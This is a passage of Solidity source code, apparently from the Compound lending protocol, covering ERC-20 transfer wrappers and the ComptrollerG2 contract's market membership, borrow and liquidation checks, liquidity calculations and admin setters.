doTransferIn(address from, uint amount) internal returns (uint) { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); uint balanceBefore = EIP20Interface(underlying).balanceOf(address(this)); token.transferFrom(from, address(this), amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a compliant ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_IN_FAILED"); // Calculate the amount that was *actually* transferred uint balanceAfter = EIP20Interface(underlying).balanceOf(address(this)); require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW"); return balanceAfter - balanceBefore; // underflow already checked above, just subtract } /** * @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory * error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to * insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified * it is >= amount, this should not revert in normal conditions. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferOut(address payable to, uint amount) internal { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); token.transfer(to, amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a complaint ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_OUT_FAILED"); } } pragma solidity ^0.5.16; import "./CToken.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./PriceOracle.sol"; import "./ComptrollerInterface.sol"; import "./ComptrollerStorage.sol"; import "./Unitroller.sol"; /** * @title Compound's Comptroller Contract * @author Compound */ contract ComptrollerG2 is ComptrollerV2Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential { /** * @notice Emitted when an admin supports a market */ event MarketListed(CToken cToken); /** * @notice Emitted when an account enters a market */ event MarketEntered(CToken cToken, address account); /** * @notice Emitted when an account exits a market */ event MarketExited(CToken cToken, address account); /** * @notice Emitted when close factor is changed by admin */ event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa); /** * @notice Emitted when a collateral factor is changed by admin */ event NewCollateralFactor(CToken cToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa); /** * @notice Emitted when liquidation incentive is changed by admin */ event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa); /** * @notice Emitted when maxAssets is changed by admin */ event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets); /** * @notice Emitted when price oracle is changed */ event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle); /** * @notice Emitted when pause guardian is changed */ event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian); /** * @notice Emitted when an action is paused globally */ event ActionPaused(string action, bool pauseState); /** * @notice Emitted when an action is paused on a market */ event ActionPaused(CToken cToken, string action, bool pauseState); // closeFactorMantissa must be strictly greater than this value uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05 // closeFactorMantissa must not exceed this value uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9 // No collateralFactorMantissa may exceed this value uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9 // liquidationIncentiveMantissa must be no less than this value uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0 // liquidationIncentiveMantissa must be no greater than this value uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5 constructor() public { admin = msg.sender; } /*** Assets You Are In ***/ /** * @notice Returns the assets an account has entered * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (CToken[] memory) { CToken[] memory assetsIn = accountAssets[account]; return assetsIn; } /** * @notice Returns whether the given account is entered in the given asset * @param account The address of the account to check * @param cToken The cToken to check * @return True if the account is in the asset, otherwise false. */ function checkMembership(address account, CToken cToken) external view returns (bool) { return markets[address(cToken)].accountMembership[account]; } /** * @notice Add assets to be included in account liquidity calculation * @param cTokens The list of addresses of the cToken markets to be enabled * @return Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] memory cTokens) public returns (uint[] memory) { uint len = cTokens.length; uint[] memory results = new uint[](len); for (uint i = 0; i < len; i++) { CToken cToken = CToken(cTokens[i]); results[i] = uint(addToMarketInternal(cToken, msg.sender)); } return results; } /** * @notice Add the market to the borrower's "assets in" for liquidity calculations * @param cToken The market to enter * @param borrower The address of the account to modify * @return Success indicator for whether the market was entered */ function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) { Market storage marketToJoin = markets[address(cToken)]; if (!marketToJoin.isListed) { // market is not listed, cannot join return Error.MARKET_NOT_LISTED; } if (marketToJoin.accountMembership[borrower] == true) { // already joined return Error.NO_ERROR; } if (accountAssets[borrower].length >= maxAssets) { // no space, cannot join return Error.TOO_MANY_ASSETS; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[borrower] = true; accountAssets[borrower].push(cToken); emit MarketEntered(cToken, borrower); return Error.NO_ERROR; } /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing neccessary collateral for an outstanding borrow. * @param cTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address cTokenAddress) external returns (uint) { CToken cToken = CToken(cTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the cToken */ (uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender); require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); } /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); } Market storage marketToExit = markets[address(cToken)]; /* Return true if the sender is not already ‘in’ the market */ if (!marketToExit.accountMembership[msg.sender]) { return uint(Error.NO_ERROR); } /* Set cToken account membership to false */ delete marketToExit.accountMembership[msg.sender]; /* Delete cToken from the account’s list of assets */ // load into memory for faster iteration CToken[] memory userAssetList = accountAssets[msg.sender]; uint len = userAssetList.length; uint assetIndex = len; for (uint i = 0; i < len; i++) { if (userAssetList[i] == cToken) { assetIndex = i; break; } } // We *must* have found the asset in the list or our redundant data structure is broken assert(assetIndex < len); // copy last item in list to location of item to be removed, reduce length by 1 CToken[] storage storedList = accountAssets[msg.sender]; storedList[assetIndex] = storedList[storedList.length - 1]; storedList.length--; emit MarketExited(cToken, msg.sender); return uint(Error.NO_ERROR); } /*** Policy Hooks ***/ /** * @notice Checks if the account should be allowed to mint tokens in the given market * @param cToken The market to verify the mint against * @param minter The account which would get the minted tokens * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!mintGuardianPaused[cToken], "mint is paused"); // Shh - currently unused minter; mintAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks return uint(Error.NO_ERROR); } /** * @notice Validates mint and reverts on rejection. May emit logs. * @param cToken Asset being minted * @param minter The address minting the tokens * @param actualMintAmount The amount of the underlying asset being minted * @param mintTokens The number of tokens being minted */ function mintVerify(address cToken, address minter, uint actualMintAmount, uint mintTokens) external { // Shh - currently unused cToken; minter; actualMintAmount; mintTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to redeem tokens in the given market * @param cToken The market to verify the redeem against * @param redeemer The account which would redeem the tokens * @param redeemTokens The number of cTokens to exchange for the underlying asset in the market * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint) { return redeemAllowedInternal(cToken, redeemer, redeemTokens); } function redeemAllowedInternal(address cToken, address redeemer, uint redeemTokens) internal view returns (uint) { if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */ if (!markets[cToken].accountMembership[redeemer]) { return uint(Error.NO_ERROR); } /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */ (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, CToken(cToken), redeemTokens, 0); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates redeem and reverts on rejection. May emit logs. * @param cToken Asset being redeemed * @param redeemer The address redeeming the tokens * @param redeemAmount The amount of the underlying asset being redeemed * @param redeemTokens The number of tokens being redeemed */ function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external { // Shh - currently unused cToken; redeemer; // Require tokens is zero or amount is also zero if (redeemTokens == 0 && redeemAmount > 0) { revert("redeemTokens zero"); } } /** * @notice Checks if the account should be allowed to borrow the underlying asset of the given market * @param cToken The market to verify the borrow against * @param borrower The account which would borrow the asset * @param borrowAmount The amount of underlying the account would borrow * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!borrowGuardianPaused[cToken], "borrow is paused"); if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks if (!markets[cToken].accountMembership[borrower]) { // only cTokens may call borrowAllowed if borrower not in market require(msg.sender == cToken, "sender must be cToken"); // attempt to add borrower to the market Error err = addToMarketInternal(CToken(msg.sender), borrower); if (err != Error.NO_ERROR) { return uint(err); } // it should be impossible to break the important invariant assert(markets[cToken].accountMembership[borrower]); } if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) { return uint(Error.PRICE_ERROR); } (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken), 0, borrowAmount); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates borrow and reverts on rejection. May emit logs. * @param cToken Asset whose underlying is being borrowed * @param borrower The address borrowing the underlying * @param borrowAmount The amount of the underlying asset requested to borrow */ function borrowVerify(address cToken, address borrower, uint borrowAmount) external { // Shh - currently unused cToken; borrower; borrowAmount; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to repay a borrow in the given market * @param cToken The market to verify the repay against * @param payer The account which would repay the asset * @param borrower The account which would borrowed the asset * @param repayAmount The amount of the underlying asset the account would repay * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused payer; borrower; repayAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks return uint(Error.NO_ERROR); } /** * @notice Validates repayBorrow and reverts on rejection. May emit logs. * @param cToken Asset being repaid * @param payer The address repaying the borrow * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function repayBorrowVerify( address cToken, address payer, address borrower, uint actualRepayAmount, uint borrowerIndex) external { // Shh - currently unused cToken; payer; borrower; actualRepayAmount; borrowerIndex; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the liquidation should be allowed to occur * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused liquidator; if (!markets[cTokenBorrowed].isListed || !markets[cTokenCollateral].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks /* The borrower must have shortfall in order to be liquidatable */ (Error err, , uint shortfall) = getAccountLiquidityInternal(borrower); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall == 0) { return uint(Error.INSUFFICIENT_SHORTFALL); } /* The liquidator may not repay more than what is allowed by the closeFactor */ uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower); (MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance); if (mathErr != MathError.NO_ERROR) { return uint(Error.MATH_ERROR); } if (repayAmount > maxClose) { return uint(Error.TOO_MUCH_REPAY); } return uint(Error.NO_ERROR); } /** * @notice Validates liquidateBorrow and reverts on rejection. May emit logs. * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint actualRepayAmount, uint seizeTokens) external { // Shh - currently unused cTokenBorrowed; cTokenCollateral; liquidator; borrower; actualRepayAmount; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the seizing of assets should be allowed to occur * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!seizeGuardianPaused, "seize is paused"); // Shh - currently unused liquidator; borrower; seizeTokens; if (!markets[cTokenCollateral].isListed || !markets[cTokenBorrowed].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) { return uint(Error.COMPTROLLER_MISMATCH); } // *may include Policy Hook-type checks return uint(Error.NO_ERROR); } /** * @notice Validates seize and reverts on rejection. May emit logs. * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external { // Shh - currently unused cTokenCollateral; cTokenBorrowed; liquidator; borrower; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!transferGuardianPaused, "transfer is paused"); // Shh - currently unused dst; // *may include Policy Hook-type checks // Currently the only consideration is whether or not // the src is allowed to redeem this many tokens return redeemAllowedInternal(cToken, src, transferTokens); } /** * @notice Validates transfer and reverts on rejection. May emit logs. * @param cToken Asset being transferred * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer */ function transferVerify(address cToken, address src, address dst, uint transferTokens) external { // Shh - currently unused cToken; src; dst; transferTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /*** Liquidity/Liquidation Calculations ***/ /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `cTokenBalance` is the number of cTokens the account owns in the market, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountLiquidityLocalVars { uint sumCollateral; uint sumBorrowPlusEffects; uint cTokenBalance; uint borrowBalance; uint exchangeRateMantissa; uint oraclePriceMantissa; Exp collateralFactor; Exp exchangeRate; Exp oraclePrice; Exp tokensToEther; } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code (semi-opaque), account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidity(address account) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); return (uint(err), liquidity, shortfall); } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code, account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) { return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @return (possible error code (semi-opaque), hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidity( address account, address cTokenModify, uint redeemTokens, uint borrowAmount) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(cTokenModify), redeemTokens, borrowAmount); return (uint(err), liquidity, shortfall); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @dev Note that we calculate the exchangeRateStored for each collateral cToken using stored data, * without calculating accumulated interest. * @return (possible error code, hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint redeemTokens, uint borrowAmount) internal view returns (Error, uint, uint) { AccountLiquidityLocalVars memory vars; // Holds all our calculation results uint oErr; MathError mErr; // For each asset the account is in CToken[] memory assets = accountAssets[account]; for (uint i = 0; i < assets.length; i++) { CToken asset = assets[i]; // Read the balances and exchange rate from the cToken (oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account); if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades return (Error.SNAPSHOT_ERROR, 0, 0); } vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa}); vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa}); // Get the normalized price of the asset vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset); if (vars.oraclePriceMantissa == 0) { return (Error.PRICE_ERROR, 0, 0); } vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa}); // Pre-compute a conversion factor from tokens -> ether (normalized price value) (mErr, vars.tokensToEther) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumCollateral += tokensToEther * cTokenBalance (mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToEther, vars.cTokenBalance, vars.sumCollateral); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumBorrowPlusEffects += oraclePrice * borrowBalance (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // Calculate effects of interacting with cTokenModify if (asset == cTokenModify) { // redeem effect // sumBorrowPlusEffects += tokensToEther * redeemTokens (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToEther, redeemTokens, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // borrow effect // sumBorrowPlusEffects += oraclePrice * borrowAmount (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } } } // These are safe, as the underflow condition is checked first if (vars.sumCollateral > vars.sumBorrowPlusEffects) { return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0); } else { return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral); } } /** * @notice Calculate number of tokens of collateral asset to seize given an underlying amount * @dev Used in liquidation (called in cToken.liquidateBorrowFresh) * @param cTokenBorrowed The address of the borrowed cToken * @param cTokenCollateral The address of the collateral cToken * @param actualRepayAmount The amount of cTokenBorrowed underlying to convert into cTokenCollateral tokens * @return (errorCode, number of cTokenCollateral tokens to be seized in a liquidation) */ function liquidateCalculateSeizeTokens(address cTokenBorrowed, address cTokenCollateral, uint actualRepayAmount) external view returns (uint, uint) { /* Read oracle prices for borrowed and collateral markets */ uint priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed)); uint priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral)); if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) { return (uint(Error.PRICE_ERROR), 0); } /* * Get the exchange rate and calculate the number of collateral tokens to seize: * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored(); // Note: reverts on error uint seizeTokens; Exp memory numerator; Exp memory denominator; Exp memory ratio; MathError mathErr; (mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, ratio) = divExp(numerator, denominator); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, seizeTokens) = mulScalarTruncate(ratio, actualRepayAmount); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } return (uint(Error.NO_ERROR), seizeTokens); } /*** Admin Functions ***/ /** * @notice Sets a new price oracle for the comptroller * @dev Admin function to set a new price oracle * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPriceOracle(PriceOracle newOracle) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK); } // Track the old oracle for the comptroller PriceOracle oldOracle = oracle; // Set comptroller's oracle to newOracle oracle = newOracle; // Emit NewPriceOracle(oldOracle, newOracle) emit NewPriceOracle(oldOracle, newOracle); return uint(Error.NO_ERROR); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint256) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK); } Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa}); Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa}); if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa}); if (lessThanExp(highLimit, newCloseFactorExp)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } uint oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets the collateralFactor for a market * @dev Admin function to set per-market collateralFactor * @param cToken The market to set the factor on * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCollateralFactor(CToken cToken, uint newCollateralFactorMantissa) external returns (uint256) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } // Verify market is listed Market storage market = markets[address(cToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } // If collateral factor != 0, fail if price == 0 if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } // Set market's collateral factor to new collateral factor, remember old value uint oldCollateralFactorMantissa = market.collateralFactorMantissa; market.collateralFactorMantissa = newCollateralFactorMantissa; // Emit event with asset, old collateral factor, and new collateral factor emit NewCollateralFactor(cToken, oldCollateralFactorMantissa, newCollateralFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets maxAssets which controls how many markets can be entered * @dev Admin function to set maxAssets * @param newMaxAssets New max assets * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setMaxAssets(uint newMaxAssets) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK); } uint oldMaxAssets = maxAssets; maxAssets = newMaxAssets; emit NewMaxAssets(oldMaxAssets, newMaxAssets); return uint(Error.NO_ERROR); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK); } // Check de-scaled min <= newLiquidationIncentive <= max Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa}); Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa}); if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa}); if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } // Save current value for use in log uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; // Set liquidation incentive to new incentive liquidationIncentiveMantissa = newLiquidationIncentiveMantissa; // Emit event with old incentive, new incentive emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa); return uint(Error.NO_ERROR); } /** * @notice Add the market to the markets mapping and set it as listed * @dev Admin function to set isListed and add support for the market * @param cToken The address of the market (token) to list * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _supportMarket(CToken cToken) external returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK); } if (markets[address(cToken)].isListed) { return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS); } cToken.isCToken(); // Sanity check to make sure its really a CToken markets[address(cToken)] = Market({isListed: true, isComped: false, collateralFactorMantissa: 0}); emit MarketListed(cToken); return uint(Error.NO_ERROR); } /** * @notice Admin function to change the Pause Guardian * @param newPauseGuardian The address of the new Pause Guardian * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _setPauseGuardian(address newPauseGuardian) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK); } // Save current value for inclusion in log address oldPauseGuardian = pauseGuardian; // Store pauseGuardian with value newPauseGuardian pauseGuardian = newPauseGuardian; // Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian) emit NewPauseGuardian(oldPauseGuardian, pauseGuardian); return uint(Error.NO_ERROR); } function _setMintPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); mintGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, 